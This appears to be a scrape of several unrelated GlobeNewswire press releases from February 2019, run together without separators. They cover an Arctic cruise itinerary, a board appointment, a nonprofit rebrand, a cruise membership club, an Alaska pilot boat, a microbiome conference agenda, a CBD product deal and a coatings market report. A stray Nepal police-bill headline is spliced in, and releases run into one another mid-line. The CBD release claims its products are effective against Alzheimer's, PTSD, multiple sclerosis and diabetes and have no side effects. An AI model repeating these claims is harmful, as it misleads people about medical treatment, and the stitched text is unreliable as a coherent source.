The voyage departs August 18, 2021 and will visit places that are only sparsely occupied since legendary polar explorer Nils A.E. Nordenskjold first successfully made the passage in 1878-79. Before that time and since, polar bears, Arctic foxes, walruses, whales and hundreds of species of seabirds are the primary local residents in the region, which is a Russian-controlled trade route in the summer months.



Highlighted destinations include:





UNESCO World Heritage Site Wrangel Island, one of the last known places on earth roamed by the woolly mammoth, with significant fossilized finds throughout the destination;

Franz Josef Land, which was once a Russian military watchpoint thanks to its positioning in the Barents Sea and Arctic Ocean, now home to polar bears and numerous other wildlife;

The New Siberian Islands, which offers more archaeological discoveries, with saber-tooth tiger bones and mammoth remains having been excavated, as well as what are believed to be tools used by Paleolithic humans and the most northerly evidence of humans on earth;

Severnaya Zemlya, the last charted archipelago on earth, only added to global maps in the early 20 th century; and

century; and Cape Chelyuskin on the Taimyr Peninsula, the northernmost point on any continental mainland.

The voyage will also visit Murmansk, the largest city in the Arctic, and Russian Federation ports Provideniya; Cape Dezhnev & Uelen Village; Kolyuchin Island; Ayon Island; Medvezhiy Islands; Novaya Zemlya; Kanin Cape; Arkhangelsk; Solovetsky & Zayatsky Island, as well as Honningsvag, the North Cape, Norway. En route, Crystal Endeavor will sail the East Siberian Sea, the White Sea, the Barents Sea and the Laptev Sea. Stops and shoreside access and activities will be largely dependent on weather and sea conditions. There will also be numerous opportunities for zodiac landings and navigation of ice floes and other rugged and fascinating pursuits. On board, expedition guides, scientists and destination experts will further illuminate the journey with engaging presentations and seminars focusing on the unique nature and history of the region.



Guests on the Northeast Passage journey will enjoy one-night pre-cruise hotel accommodations in Anchorage and a flight transfer to Anadyr on embarkation day. The Northeast Passage itinerary, which sails from August 18 to September 15, 2021, will first open for booking for Crystal Society members on February 20, 2019, and to the public on March 13, 2019. Crystal Society fares from $44,362 per guest with a $10,000 Book Now Savings per suite when booked by April 30, 2019.



The itineraries for Crystal Endeavors inaugural season sail from August of 2020 through January 2021, with voyages of 12 to 22 days traveling far off the beaten path of traditional cruise routes. The ships maiden voyage on August 10, 2020 from Tokyo will be a round-trip 17-night Russian Far East Expedition. These voyages are rich with discovery and will explore the cultural and bio-diversity of Japan and the Russian Far East; Indonesia, Borneo and the Philippines; New Zealand and Tasmania; Australia and the Great Barrier Reef; and Antarctica via the Ross Sea.



At all times, Crystal Endeavors itineraries and visits are subject to the Captains discretion based on prevailing weather and ice conditions and government permits. Wildlife sightings and wilderness highlights on any itinerary cannot be guaranteed.



The 20,000-GRT Crystal Endeavor will accommodate just 200 guests with elegantly casual, expansive public spaces; all-suite, butler-serviced guest rooms; Michelin-inspired dining options including Master Chef Nobu Matsuhisas Umi Uma & Sushi Bar; full-service Crystal Life Salon & Spa and state-of-the-art Fitness Center. Expedition-specific amenities and spaces will enhance guests experience, including designated mud rooms and helicopter lounge. The ship is being built at MV WERFTEN Shipyard in Stralsund, Germany.



Crystal became the first luxury cruise ship to transit the fabled Northwest Passage in 2016 and then again in 2017, both voyages aboard Crystal Serenity.



About Crystal



Only the world-renowned Crystal Experience offers an unwavering, unparalleled standard of excellence and luxury across four distinct cruising options: Crystal Cruises, the Worlds Most Awarded Luxury Cruise Line; Crystal River Cruises, the Worlds Most Luxurious River Cruise Line; Crystal Yacht Cruises, offering boutique luxury and bold adventure in the worlds most elite harbors; and Crystal Expedition Cruises, taking Crystals acclaimed elegance to the farthest reaches of the world. Crystal has been recognized with top honors in the Conde Nast Traveler Readers Choice Awards for a record 25 years; voted Worlds Best by the readers of Travel + Leisure for 20 years; and won the Best Luxury Cruise Line by Virtuoso for four years (2014, 2015, 2016 & 2018). Crystal is proud to be a platinum partner of the advisors of ASTA.



For more information and Crystal reservations, contact a travel advisor, call 888.799.2437, or visit www.crystalcruises.com. Join the hundreds of thousands who subscribe to the Crystal Insider blog, follow Crystal Cruises Facebook page and @crystalcruises on Twitter and Instagram, and engage in the conversation with #crystalcruises.

###

AttachmentsChicago, Ill., Feb. 13, 2019 (GLOBE NEWSWIRE) -- The AZEK Company, parent corporation to leading manufacturing companies AZEK Building Products, Versatex, Scranton Products, and Vycom, has announced the recent appointment of Sallie Bailey to its board of directors and chair of the companys audit committee.

Bailey served as Executive Vice President and Chief Financial Officer of Louisiana-Pacific Corporation (NYSE: LPX), a leading manufacturer of engineered wood building products for residential, industrial and light commercial construction until her retirement in July 2018. Prior to joining Louisiana-Pacific, she served as Vice President and Chief Financial Officer of Ferro Corporation. Bailey has also held various senior management positions of increasing responsibility with The Timken Company, including Senior Vice President, Finance and Controller.

We are fortunate to have Sallie join our Board of Directors, says Jesse Singh, CEO of The AZEK Company. Her impressive financial background, governance experience and industry knowledge will strengthen our board as we continue to grow and expand the company.

Bailey currently serves on the board of Harris Corporation (NYSE: HRS). She holds an MBA in finance and accounting from the University of Chicago and a BA from Wellesley College in economics and German.

I am thrilled to join the board of a company that aligns so well with my interests in sustainability and building products, said Bailey. The AZEK Company has an impressive board and new executive management team and I look forward to helping the company increase shareholder returns and continue growing well beyond 2019.

###

ABOUT THE AZEK COMPANY

The AZEK Company LLC is an industry-leading manufacturer of beautiful, low-maintenance residential and commercial building products, committed to innovation, sustainability and research and design. Headquartered in Chicagos Fulton Market neighborhood, the company also operates highly automated manufacturing facilities across the United States, including Ohio, Pennsylvania and Minnesota. The AZEK Companys four business units include AZEK Building Products, Versatex, Scranton Products and Vycom. For additional information, visit AZEKCo.com.

AttachmentLawmakers criticise home minister over Police Bill

At a time when the seven provinces are voicing serious discontent at the federal government, alleging that they were being stripped of their constitutional rights, lawmakers have also expressed serious concerns over the bill on Nepal Police and provincial police tabled at the House of Representatives.NEW YORK, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The nations leading nonprofit organization that is focused on fueling personal growth and leadership through public service has officially changed its name from the Jefferson Awards Foundation to Multiplying Good. This strategic rebrand will better position the entity for continued success in its efforts to inspire, activate, and recognize individuals initiating positive change in their communities.



Many know us as the awards platform founded by Jackie Kennedy, Senator Bob Taft and Sam Beard, that has for almost 50 years been the countrys most prestigious honor for public service, said Hillary Schafer, Multiplying Good CEO. However, we are so much more than that. We know public service offers a powerful pathway for individuals to tap into their own potential. We understand that to do it right, we need to connect them with their own service passions, unleash confidence in their ability to make a difference, deliver the skills to do it well, and then recognize them and tell their stories so others can be inspired.



The refreshed brand name and identity are timely, driven by societal need and designed to exemplify the inherent values at the organizations core. It positions Multiplying Good for ongoing success and growth beyond its admired awards  though the Jefferson Awards name will be retained for its recognition platform, which multiplies positive impact through celebration and storytelling of the best in service nationally, locally, and in the workplace. Included within the rebrand is a new logo, design palette, online presence, and an advanced strategic focus that builds upon the organizations original foundational goals.



Even as partisanship and societal conflict currently divide us, we believe service is a consistently powerful tool to unite and help individuals discover their true potential, continued Schafer. Multiplying Good transforms individuals through service and multiplies the good they create. We are extremely excited to invigorate our base and empower the next generation of community leaders.



Weve long-believed that everyone has the capacity to develop, lead, and magnify extraordinary acts of service that produce positive change, said Sam Beard, Co-Founder, Multiplying Good. We help them accomplish this in a number of ways, including in-depth leadership training and development for youth, celebrating organizations through corporate partners, and recognizing local changemakers across the country through our many established media partners.



Multiplying Goods main programmatic areas include the following:





Youth  Multiplying Good concentrates on building confidence and developing key skills for youth leaders through programs like Students In Action. The organization has an expansive and rising network that includes 30,000 youth who have received in-depth training over the past decade and have in turn engaged hundreds of thousands of their peers. This happens through an extensive support structure encompassing training, technology, and a continuum of caring adults. The organization has set a bold strategic goal to deliver this to over 1 million young people per year.

Champions  By partnering with organizations to celebrate their employees, Multiplying Good fosters positive workplace relationships, comradery, inclusivity, compassion, and caring amongst employees. Happier associates and cultures connected to purpose are proven pathways to strengthen corporate retention, recruitment, and employee efficiency. Multiplying Good's Champions program reaches 7.1 million employees.

Media Partners  The organization believes strongly in the power of the media to inspire good, especially in local communities. Multiplying Good works with Media Partners to strengthen ties to their communities through compelling and powerful storytelling. Our passionate Media Partners enable audiences to nominate individuals and provide a platform to recognize grassroots unsung heroes in their hometowns. By providing recognition and a platform for these individuals, we multiply the positive impact they can deliver. Today, this network reaches 100 million Americans per year and has given more than 62,000 Jefferson Awards to grassroots unsung heroes.



Our organization is ready for the future and to our ever-growing role in making service central to transforming individuals and driving ripples of change, stated Schafer. We are Multiplying Good.



For more information on Multiplying Good and how to get involved, please visit www.MultiplyingGood.org.



About Multiplying Good

Multiplying Good is a national nonprofit that channels the power of public service to unleash potential in individuals. For nearly 50 years, they have honored those who build better communities, trained young leaders, and activated individuals and organizations to multiply the impact they can deliver. Through a continuum that starts with engagement and culminates in celebration, they fuel personal growth and multiply the power of service to others. Through recognition, they inspire individuals and those who hear their stories to deliver greater positive change. You can learn more about the organization by visiting MultiplyingGood.org or engaging with their online communities via Instagram, Twitter, and Facebook.

AttachmentEnglish Spanish

SAN JUAN, Puerto Rico, Feb. 13, 2019 (GLOBE NEWSWIRE) -- In 2016, inCruises International, the worlds largest cruise membership club, embarked on unprecedented global expansion, a move designed to provide more people around the world with the opportunity to travel affordably and profitably.

This month, two new countries in Latin America have been added to the companys portfolio: Argentina and Peru.

The announcement means that people in Argentina and Peru with entrepreneurial ambitions can join Independent Representatives across the globe who earn income by selling inCruises exclusive Cruise Membership Club.

Were honored to welcome two new countries in Latin America to the inCruises family, CEO of inCruises International Michael Hutchison said. One of the greatest assets of our company is to give people and families a dependable vehicle to realize their potential and to celebrate their accomplishments while seeing the world. Were grateful that the culture, focus, and passion of people in Argentina and Peru align with the values of our company.

CEO Michael Hutchison went on to say. I was grateful to personally meet our team including Mr. Agustin Bermejo, Mr. Marcos Heredia, Mr. Adrian Prieto, Ms. Sara Cisneres and Mr. Ray Apaza. Our partnership with our Independent Representatives is the key for our continuing success globally and we are lucky to be surrounded with such nice and hard-working Partners. I was also excited to visit Buenos Aires and Lima for the first time. I cant wait to go back in April.

Adding Argentina and Peru is expected to bolster the regions economy through business opportunities and increased cruise tourism. Plus, the Galapagos Islands off of Ecuador and trek to Machu Picchu in Peru are a must-see for outdoor lovers. And finally, a Round-the-Horn cruise takes passengers from Brazil south to the tip of Argentina before exploring the fjords of Chile. said VP of Communications Abel Prieto.

For more information about inCruises, visit:

www.incruises.com

LinkedIn

Twitter

About inCruises International

Since launching its flagship membership in 2015, inCruises International has grown to become the premier cruise membership club with Members and Partners in over 178 countries all over the world. Today, with more than 130,000+ Members and over 40,000+ Partners, inCruises is making a measurable difference in the lives of its Members and is committed to ethically providing a business ownership opportunity to its growing Partner team. Through an unwavering commitment to excellence, inCruises is attracting a new global market of mostly first-time passengers on amazing cruise vacations. Members enjoy access to 5000+ of the most desirable cruise travel destinations and ocean ports around the world. Those who are interested in building an independent business, can also become Independent Representatives and sell Cruise vacation memberships to similar cruise travel enthusiasts. The company is also committed to positive global corporate citizenship by supporting the Ocean Cleanup Project and the Make-a-Wish Foundation.

To share in the experience, please visit our Business and Membership opportunity at https://www.incruises.comHOMER, Alaska, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The Southwest Alaska Pilots Association (SWAPA), the state licensed pilots entrusted with the critical job of safely and efficiently piloting ships and their valuable cargo on the ports and waterways of South Central Alaska, took possession of their newest pilot boat, Emerald Island.



The Emerald Island was built by Somerset, Mass-based Gladding-Hearn Shipbuilding and arrived by ship in Victoria, BC on December 22 where it underwent final sea trials before making the voyage to Valdez, AK. She measures 75 feet in length by 21 feet in width, is powered by twin 1,400 HP water jets, and can make 29 knots delivering pilots to and from their timely ship assignments off the shores of Alaska.

She will provide our pilots with the stable and secure platform required for them to handle the dynamic and unpredictable weather conditions that we may encounter performing our work 24 hours a day, 7 days a week each year said Capt. Ron Ward II, SWAPA pilot.

The all-aluminum boat features Gladding-Hearns Ray Hunt-designed deep-V hull. It is powered by twin Cummins QSK38-M1, EPA Tier 3 diesel engines each capable of reaching 1,800 RPMs. The wheelhouse features direct glaze-heated windows, heated hand rails and heated decks that will enhance the pilots ability to board and disembark safely in Alaskas extreme and often frigid conditions.

It has shock-absorbing seats so that the pilots and crew can securely travel in the challenging sea conditions that characterize their busy waterway. SWAPA pilots may spend many hours on their waterway during their work assignments.

To accommodate the pilots and crew, the vessels forecastle includes two staterooms, a head and shower, dressing area and hanging lockers. The inside insulation holds interior sound levels at full engine power to under 74 decibels.

Everything about this new boat speaks to the demands of our work environment as Alaska pilots, Ward said. The Emerald Island will be stationed in Valdez, AK and will primarily be providing a year round service to tankers carrying crude oil from the Trans-Alaska Pipeline (TAPS) terminal. Our customers expect their ships to transit without delays and we are grateful for their collaboration which was essential to ensure this vessel project was a success. This all weather pilot boat will allow us to safely satisfy the demands of our customers and help us to endeavor to keep Alaskas economy strong.

About SWAPA:

Southwest Alaska Pilots Association (SWAPA) has been providing pilotage service to vessels on the ports and waterways of South Central Alaska since 1975. Currently 18 pilots work closely with federal, state, industry and environmental organizations to fulfill their mandate to the citizens of Alaska to assure the safe navigation of vessels and the protection of life, property and the marine environment on the waters of Icy Bay, Prince William Sound, Resurrection Bay, Kenai Fjords, Cook Inlet, and the Kodiak Island Archipelago.

The SWAPA offices and pilot dispatch center is located in Homer, Alaska. Please navigate this website for further information: www.swpilots.com .

For more information:

Henry de La Garza, The Pilots PIO

henry@ThePilotsPIO.com

(713) 622-8818

A photo accompanying this announcement is available at http://www.globenewswire.com/NewsRoom/AttachmentNg/037430a4-0ec2-4201-8e61-0aca686ccfc5Dublin, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The "5th Annual Translational Microbiome Conference - Industry" conference has been added to ResearchAndMarkets.com's offering.



As the official conference of The Microbiome Coalition (TMBC), the Translational Microbiome Conference was the first microbiome conference in the field to focus exclusively on the hurdles and challenges to commercial success in the space.



Once again, the conference will bring together the leading microbiome companies working to successfully commercialize microbiome-based diagnostics, therapeutics, adjunct therapies and direct-to-consumer services and products across a range of therapeutic areas, from gut to skin and beyond. Expanding on this core focus year on year, we continue to offer informative, hands-on workshops, panels sponsored and directed by industry to focus on your concerns and tightly curated content that goes beyond the usual infomercials to provide tangible and useful insights to how your peers are addressing their commercial approach to the space.



Entering its 5th year in 2019, the meeting will continue to focus and build on the challenges and hurdles that companies working in the microbiome space will have to recognize and navigate in order to successfully commercialize their products.However, we are responding to requests by attendees to include more basic research, ensure more work beyond the gut is incorporated into the agenda and expanding our prior parallel tracks on nutrition and consumer products.

Topics

With a broad focus spanning multiple disease states (oncology, dermatology, inflammatory disorders, among others) attendees will have the opportunity to hear the leading companies discuss the work they have underway and how they are meeting these challenges head-on to apply recent discoveries to a variety of disease processes, restoration of health and improved outcomes.

Subject matter will include:

Animal Models

Bioinformatics Challenges

Intellectual Property Management

Investment Deals and Approaches

Pharma Deals in the Microbiome Space

The Need for Standards

Why Attend?



Partnering Software & Meetings

Easily schedule meetings with our partnering system in order to maximize your time at the event. Schedule one-to-one meetings in advance and stay connected after the event.



Industry-Leading Speaking Faculty

Our tightly curated content provides tangible and useful insights to how your peers are addressing their scientific, clinical and commercial approach to the space.



Network With Industry Colleagues

One-to-One meeting space, breakfasts, extended breaks, luncheons and receptions provide attendees with multiple opportunities to connect with colleagues in the space.



20+ Exhibitors/Service Providers

Meet with and/or re-connect with exhibitors and service providers and learn about the latest tools and resources driving the field of microbiome science.

Who Should Attend:



Organizations:

Academic Institutions, Bioscience Companies, Pharma Companies, Diagnostics Companies and Investors

Job Titles:

VPs, Directors, Heads, Scientists, Professors in following areas:

Microbiome/Microbiota basic research

NGS (Next Generation Sequencing)

Molecular Diagnostics

Autoimmune Disease Therapeutics

Infectious Diseases

Metabolic disease, Obesity, Diabetes

Genotyping

Genomics

Genomic Profiling

Biomarkers

Immunology Innate or Adaptive Immunity

Bioinformatics

Data Management

Data Analysis

Molecular Biology

Diagnostic & Clinical Applications

Prenantal Diagnostics

Vaccines

Microbiology

Food/Nutrition Science

Gut-Brain Axis Researchers

Venture Capitalists

Biotech Entrepreneurs

Academic Licensing or Tech Transfer Officers

Business Development/In-Licensing

FDA regulation

Clinical trials

Epigenetics

Metagenomics

High-Throughput Technologies

Data Analysis

Data Storage

Cloud Computing

Statistical Genomics

Agenda:



PRE-CONFERENCE WORKSHOPS

APRIL 16, 2019



2:30 pm Workshop I

Microbiome NGS and Hands-on Bioinformatic Data Analysis with Strain Level Resolution



Workshop Leaders: Nur Hasan, Ph.D., Chief Scientific Officer, Cosmos ID; Arne Materna, Ph.D., VP Product, Cosmos ID



3:15 pm Workshop II

Patenting in the Microbiome Arena



Workshop Leader: Mark Fitzgerald, Ph.D., Partner, Nixon Peabody LLP



5:30 pm Workshop III

What Investors Want, What Investors Notice and Value in a Pitch - The Secrets to Successful Venture Pitching



Workshop Leader: Lakshmi Balanchandra, Ph.D., Assistant Professor, Entrepreneurship, Blank Center for Entrepreneurship, Babson College, Founder, Women's Venture Capital Network



MAIN SESSION



APRIL 17, 2019



7:15 am Registration/Continental Breakfast



7:45 am Chairperson's Opening Remarks

Mollie Roth, JD, Executive Director, The Microbiome Coalition



8:00 am Keynote Address: Microbial life at Scale: Applications, Analytics and Lessons Learned From the Food Supply Chain



Kristen L. Beck, Ph.D., Research Staff Member, Sequencing the Food Supply Chain, Almaden Research Center, IBM



MAIN TRACK

8:30 am Biological, Chemical and Spatial Drivers of Microbiota Structure and Function: Therapeutic Implications



Elliot Friedman, Ph.D., Senior Research Investigator, Division of Gastroenterology, Technical Director, Microbial Culture & Metabolomics Core, PennCHOP Microbiome Program, Perelman School of Medicine, University of Pennsylvania

9:00 am Rapid Product Development: From Concept to Consumer Product

This talk will discuss BioCollective's Approach to Rapid Probiotic/Prebiotic Prototyping using BioFlux Metabolic Modeling, existing extensive library of GRAS organisms/supply chain relationships, and small batch GMP production partners. Some of the most difficult challenges in formula development are:

US Regulatory - GRAS status vs. new organisms (many organisms have similar functions - modeling can identify alternatives to deliver identical function with an already approved organism)

Production - small batch photo-type product development, many vendors are already at maximum capacity and won't do small production runs for prototyping-types

Production - moving from small batch to scaled production

Optimization - Organisms work as guilds, understanding the most synergistic combination can be simplified through metabolic modeling that closely mimics wet lab experiments

Martha Carlin, Chief Executive Officer, The BioCollective

9:30 am The Skin is NOT the Gut: Optimizing DNA Extractions and Amplicon Sequencing for the Skin Microbiome



Kelly N. Haas, Ph.D., Post Doctoral Scholar, Dermatology Department, University of California Davis

10:00 am Networking/Refreshment Break

10:30 am A Targeted, Point of Care Solution for Microbiome Analysis



Alicia Scheffer-Wong, Ph.D., Founder & CEO, Floragraph

11:00 am Lessons Learned: Translating Metagenomics into Clinical Routine



Nur Hasan, Ph.D., Chief Scientific Officer, Cosmos ID

11:30 am Panel Session: Enhancing the Power of the Microbiome Through Partnership



Moderator: Edward Burd, Ph.D., Head of Regulatory Affairs, Rebiotix

Panelists:

Lars Enstrand, MD, Ph.D., Director, Center for Translational Microbiome Research, Karolinska Institutet

Malcolm Kendall, CEO and Co-Founder, Microbiome Insights

Lindy Bancke, Pharm.D., Head of Clinical Development, Rebiotix

Greg Fluet, Chief Business Officer, Rebiotix

NUTRITION TRACK

8:30 am Bringing Probiotic Products from Bench to Market in the U.S.



Duffy MacKay, ND, Senior VP, Scientific & Regulatory Affairs, Council for Responsible Nutrition

9:00 am Supporting Infant Development by Supporting the Developing Microbiota



Arthur Ouwehand, Ph.D., Technical Fellow and Research Manager, DuPont Nutrition & Health

9:30 am Perspectives on Future Success for Probiotics



Mary Ellen Sanders, Ph.D., Principal, Dairy and Food Culture Technologies



10:00 am Networking/Refreshment Break

10:30 am Panel Session: Probiotics: Aligning Science and Government Regulatory Requirements on a Path to Market

In this panel session, the following topics will be covered:

What traits to look for when selecting strains for probiotic applications - how to select beneficial strains

FDA regulatory path (GRAS) for probiotics

How to progress product candidates from in vitro and in vivo testing into clinical investigation

Interpretation of the clinical microbiome/probiotic data

Moderator: Maciej Chichlowski, Ph.D., PMP, Principal Scientist, Reckitt Benckiser

Panelists:

Duffy MacKay, ND, SVP, Scientific & Regulatory Affairs, Council for Responsible Nutrition

Arthur Ouwehand, Ph.D., Technical Fellow & Research Manager, DuPont Nutrition & Health

Mary Ellen Sanders, Ph.D., Principal, Dairy and Food Culture Technologies

11:15 am Use of the Probiotic Lactobacillus GG in Managing Food Allergies in Infants



Jon A. Vanderhoof, Attending Physician, GI/Nutrition, Boston Children's Hospital, Senior Lecturer in Pediatrics, Harvard Medical School, Professor Emeritus of Pediatrics, University of Nebraska College of Medicine



11:45 am The First 1000 Days: Babies, Nutrition & Gut Health



Elisabeth Bik, Ph.D., Director of Science, Astarte Medical



12:15 pm Luncheon



1:15 pm Of Microbes and Monoamines: Stepping Stones from Dysbiosis to Psychiatric Disease



Stephen Skolnick, Translational Gerontology Branch, National Institutes on Aging, National Institutes of Health



1:45 pm Type 1 Diabetes: Primary Prevention Therapeutic Programs and First Pre-Autoantibody Biomarker Based on Association Between Autoimmunity and Dynamics of Amyloid-Producing E. Coli



George Tetz, MD, Ph.D., Chief Executive Officer, Human Microbiology Institute



2:15 pm The Human Microbiome: Towards Future Diagnostic and Clinical Solutions



Madhu Jasti, Scientist III R&D, Thermo Fisher Scientific



2:45 pm Strategies for Approaching FDA for Your First Clinical Trial



Nicole Rempel, MS, MBA, Director of Regulatory & Strategic Development, Clinipace

3:15 pm Networking/Poster-Viewing/Refreshment Break



3:45 pm Developing Products to Unlock the Promise of the Microbiome in Health and Disease: A Novel Approach, Challenges and Common Opportunities



Alison Lawton, Chief Executive Officer, Kaleido Biosciences



4:15 pm Panel Session: Confronting False Truths: On the Way to an IND, Is It Best to Avoid the FDA or Engage Early and Often?



Moderator: Nikole Kimes, Ph.D., Founder and Chief Scientific Officer, Siolta Therapeutics

Panelists:

Lee Jones, Founder, President and CEO, Rebiotix

Susan Stewart, JD, Senior Vice President, Regulatory Affairs & Quality, Kaleido Biosciences

Nicole Rempel, MS, MBA, Director, Regulatory and Strategic Development, Clinipace



5:00 pm The Asian Gut Microbiome: A New Therapeutics Discovery Opportunity



They have strategic partnerships with Hong Kong University and the Genome Institute of Singapore. In this presentation Jonathan will discuss the following:

How is the Asian gut microbiome different than the Western gut microbiome

How does fecal microbiota transplant yield new drug discovery opportunities

How the Asian gut microbes work in global population

Jonathan Krive, Co-Founder, CEO, AsiaBiome



5:30 pm Cocktail Reception



APRIL 18, 2019



7:30 am Continental Breakfast



8:00 am Keynote Address: Understanding the Role of the Microbiome in Cancer Immunotherapy



Jennifer Wargo, MD, Associate Professor, Department of Surgical Oncology, Division of Surgery, The University of Texas MD Anderson Cancer Center



8:30 am Immuno-Oncology and the Microbiome



9:00 am Immuno-Oncology and the Microbiome



9:30 am Networking/Refreshment Break



10:00 am Panel Session: Immuno-Oncology and the Microbiome



10:45 am New Modeling Tools to Predict Dynamics of Microbial Ecologies

Vanni Bucci, Ph.D., Assistant Professor, University of Massachusetts Dartmouth

Bernat Olle, Ph.D., Chief Executive Officer, Vedanta Biosciences



11:15 am Statistical and Computational Tools for Functional Microbiome



Hongzhe Li, Ph.D., Professor of Biostatistics and Statistics, Chair, Graduate Program in Biostatistics, Director, Center for Statistics in Big Data, University of Pennsylvania



11:45 am From Conceptualization to Launch: A Case Study of a GI Microbiome Modulator



12:15 pm Luncheon



1:15 pm A Survivor's Perspective: The Bigger Picture of the Patient Journey



1:45 pm Beyond Bacteria: Harnessing the Virome to Improve Our Understanding of Human Health and Inform Diagnostic and Therapeutic Applications



2:15 pm Microbial Signatures of Gut Wellness Through Multi-Study Integratlon of Human Stool Metagenomes



2:45 pm Networking/Poster-Viewing/Refreshment Break



3:15 pm Panel Session to be Announced



4:00 pm The First 1000 Days: Babies, Nutrition and Gut Health



4:30 pm End of Conference



Please check back in the coming days for additions to this agenda.



For more information about this conference visit https://www.researchandmarkets.com/research/qm7xwq/5th_annual?w=12

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.LAS VEGAS, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Dakshidin Corporations Whitechapel Holdings Inc. (WCH), a wholly owned subsidiary of Dakshidin Corporation (DKSC) announced today that it has signed a 15-year exclusive worldwide licensing agreement with GenBio, a biotechnology company based in Delaware, USA. The agreement grants WCH exclusive intellectual property, manufacturing and distribution rights worldwide for an entirely new, unique and proprietary product range based on years of clinical research and development.



This new product range is based on WCHs KDD30 Formulation, which is a novel disruptive platform of new molecules which target specific health and wellness conditions and ailments backed by extensive clinical research. This new element, KDD30, will be infused into WCHs proprietary CBD formulas resulting in the only product of its kind on the market worldwide.

The product line will be called Green Dart and will consist of a suite of products that will be introduced over the next twelve (12) months;

Green Dart Daily - For daily health and wellness

Green Dart-Bullseye Memory - Effective for Alzheimers and PTSD

Green Dart-Bullseye anti-inflammation - Effective for anti-inflammation, Diabetes

Green Dart-Bullseye Neural - Effective for Multiple Sclerosis

We are very excited to bring this unique product to market, Dakshidin CEO Chris Haigh stated. Mr. Haigh continued, DKSC will be the first nutraceutical company in the USA to promote and create cutting edge health and wellness products that are a combination of existing ingredients that enhance and synergize when paired, giving us a product that is effective and free of any side effects. A spokesperson for GenBio Inc., also commented, We will be designing new bespoke products for DKSC based on several novel natural extracts demonstrating phyto activity and synergy in preventing various disease progressions.

The first Laughing Frogs Green Dart products are expected to be introduced in Q2 of 2019 starting with 30-day daily health packets and a 7-day immune booster pack.



About Dakshidin Corporation (DKSC)

DKSC has positioned itself as an innovator and industry leader in the quickly emerging organic CBD and cannabis-derived health products and services industry. The company is driven by three pillars of thought that guide the development of its business model;

Cannabis prohibition is approaching its inevitable end. Cannabis & CBD are conventional products used by a broad spectrum of consumers. Trusted brands will be the future of the cannabis industry.

About GenBio Inc.

Based in Delaware, USA, GenBio is a Biotechnology research company that employs a proprietary drug discovery platform to generate novel therapeutic agents for use in multiple and distinct indications. GenBio is developing new nutraceutical products in the fields of pain relief, arthritis, asthma and infectious diseases.

The GenBio disruptive platform of new molecules is aimed at enhancing and synergizing the existing beneficial processes used in the treatment of: Arthritis, Pain relief, Inflammation, MRSA, Obesity, Anti-aging, High blood pressure, UTI, Asthma and Alzheimers.

Forward looking statements

The information in this press release includes certain "forward-looking" statements within the meaning of the Safe Harbor provisions of Federal Securities Laws. Investors are cautioned that such statements are based upon assumptions that in the future may prove not to have been accurate and are subject to significant risks and uncertainties, including the future financial performance of the Company. Although the Company believes that the expectations reflected in its forward-looking statements are reasonable, it can give no assurance that such expectations or any of its forward-looking statements will prove to be correct. Readers are cautioned not to place undue reliance on these forward-looking statements that speak only as of the date of this release, and the Company undertakes no obligation to update publicly any forward-looking statements to reflect new information, events, or circumstances after the date of this release except as required by law.Dublin, Feb. 13, 2019 (GLOBE NEWSWIRE) -- The "Indonesia Automotive Refinish Coatings Market by Product Type, by Resin Type, by Technology, by Auto Type, by Vehicle Age, by Sales Channel, by Region - Market Size, Share, Development, Growth, and Demand Forecast, 2013-2023" report has been added to ResearchAndMarkets.com's offering.



The Indonesian automotive refinish coatings market is projected to reach $336.6 million by 2023, the market growth is driven by macroeconomic growth, increasing number of automotive vehicles, and rise in disposable income of individuals in the country.



On the basis of product type, the Indonesian automotive refinish coatings market is classified into basecoats, clearcoats, primers and fillers, and others. Clearcoats constituted the largest revenue share in the market, accounting for more than 45.0% share in 2017. This can be attributed to high-volume demand for these coats generated from the automotive industry for refinishing purposes. Furthermore, addition of a thick clearcoat on automobiles is highly favored due to its ability to offer protection to basecoat and metal body and resist damage caused by fluids and foreign substrates, such as peeling and cracking of paint.



Based on resin type, the Indonesian automotive refinish coatings market is categorized into alkyd, acrylic, polyurethane, epoxy, and others. In terms of value, the largest share in the market was held by polyurethane-based coatings in 2017. Polyurethane-based coatings are traditionally favored and offer significant resistance to damage and chipping.



Based on technology, the Indonesian automotive refinish coatings market is classified into solvent-borne, water-borne, and UV-cured coatings. Historically, solvent-borne coatings accounted for the largest market share, owing to the availability of diversified portfolio of solvent-based coatings in the market and climate favorability of these products that encourage the adoption of these products over their counterparts.



On the basis of auto type, the Indonesian automotive refinish coatings market is categorized into cars, commercial vehicles, two-wheelers, and others. In terms of value, cars dominated the market in 2017 with more than 70.0% share. Furthermore, the demand for refinish coatings in this category is likely to enhance in the coming years, owing to increasing demand for the passenger cars.



On the basis of vehicle age, the Indonesian automotive refinish coatings market is categorized into vehicles aged less than 5 years, 5-10 years, and more than 10 years. In 2017, the highest revenue in the market was generated by vehicles aged 5-10 years category. Vehicles in this category require refinishing during their resale or to mollify effects of damage or collision.



Based on region, the Indonesian automotive refinish coatings market is categorized into West Java, Central Java, East Java, South Sumatra, North Sumatra, South Sulawesi, East Kalimantan, and others. West Java accounts for the largest revenue share in the market, owing to the presence of a vast customer base, macroeconomic growth, and high-volume product demand from the automotive industry in the region. The region also complemented by the presence of high local population, and a high concentration of body repair shops.



The domestic players are engaged in several operations such as procurement of raw materials and refinish products from their international production facilities, manufacturing of the products for the automotive industry, and distribution of these products to several original equipment manufacturers (OEMs) and aftermarket automotive players in the country. There are also several manufacturers that are offering a range of resins to manufacturers of automotive refinish coatings.



Key Topics Covered:



Chapter 1. Research Background

1.1 Research Objectives

1.2 Market Definition

1.3 Research Scope

1.4 Key Stakeholders



Chapter 2. Research Methodology

2.1 Secondary Research

2.2 Primary Research

2.3 Market Size Estimation

2.4 Data Triangulation

2.5 Assumptions for the Study



Chapter 3. Executive Summary



Chapter 4. Introduction

4.1 Definition of Market Segments

4.1.1 By Product Type

4.1.1.1 Clearcoats

4.1.1.2 Basecoats

4.1.1.3 Primers & fillers

4.1.1.4 Others

4.1.2 By Technology

4.1.2.1 Solvent-borne

4.1.2.2 Water-borne

4.1.2.3 UV-curved

4.1.3 By Resin Type

4.1.3.1 Polyurethane

4.1.3.2 Acrylic

4.1.3.3 Alkyd

4.1.3.4 Epoxy

4.1.3.5 Others

